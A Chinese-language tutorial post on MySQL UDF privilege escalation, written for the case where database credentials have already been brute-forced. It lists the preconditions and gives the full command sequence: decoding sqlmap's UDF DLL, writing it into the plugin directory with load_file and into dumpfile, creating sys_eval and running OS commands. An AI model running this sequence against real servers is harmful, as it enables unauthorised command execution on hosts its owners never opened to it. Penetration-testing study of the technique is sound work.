mysql udf提权

如果我们不是通过web方面,而是直接爆破出了mysql的用户名跟密码,怎么通过mysql执行系统命令

这里就使用到udf提权,

udf 提权利用条件

1.需要数据库用户的权限拥有mysql的insert跟delete的权限,root最佳
2.mysql具有读写权限  也就是 secure_file_priv 的值为空

查看mysql可读写的路径

show global variables like "%secure_file_priv%"

值为null      不允许导入导出

值为/tmp     只允许该路径导入|导出

值为 空        任意路径允许导入导出

mysql udf提权_第1张图片

 

也可以在mysql安装路径下 my.ini当中查看

mysql udf提权_第2张图片

 

secure_file_priv 可以限制 load、dumpfile、into outfile、load_file()函数在哪个目录的去写权限

udf提权 利用方法

1.首先我们需要一个动态链接库文件

    动态链接库就是实现共享函数库概念的一种方式,在windows环境下后缀名为.dll,在linux环境下后缀名为.so 。我们要将该文件放在特定的目录中,该文件中包含了执行系统命令的一些函数

可以在sqlmap中的 data\mysql\udf文件当中获取到,由于sqlmap自带了shell以及一些二进制文件,为了必变被误杀,都经过了编码,所以先使用  sqlmap\extra\clock.py 对文件进行解密

clock.py -d -i C:\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

就会在dll_文件的同目录下生成解密后的 mysqludf_sys.dll 文件

mysql udf提权_第3张图片

 

使用mysql将dll文件以16进制进行编码

我将编码后的内容导出到D盘

select hex(load_file('D:\\Rolan_2.2.0_Green\\tools\\common\\sqlmap\\data\\udf\\mysql\\windows\\64\\lib_mysqludf_sys.dll')) into dumpfile 'd://udf.txt';    

2.上传UDF的动态链接库文件

获取mysql安装路径   select @@basedir;

mysql udf提权_第4张图片

在将dll文件导出时注意,不同的mysql版本对于用户自定义函数导入的路径是有要求的,我这里的mysql版本是5.7 所以导出的路径是在 \lib\plugin 目录下

mysql<5.0 任意路径
mysql=5.0 window/system 路径 或system32路径下
mysql>=5.1 mysql安装路径\lib\plugin\(这个路径需要手动创建,默认不存在)

 

use mysql;   #选择一个数据库
create table udftmp(c LONGBLOB);  创建表
insert into udftmp values(unhex('复制udf.txt的内容'))  将dll文件导入到表中
select c from udftmp into dumpfile 'D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll'  #将内容导出

create function sys_eval returns string soname 'udf.dll'  从导出的dll文件中添加自定义方法
select sys_eval('whoami');   执行命令

命令执行成功。

mysql udf提权_第5张图片

 

你可能感兴趣的:(web安全,mysql,数据库,安全)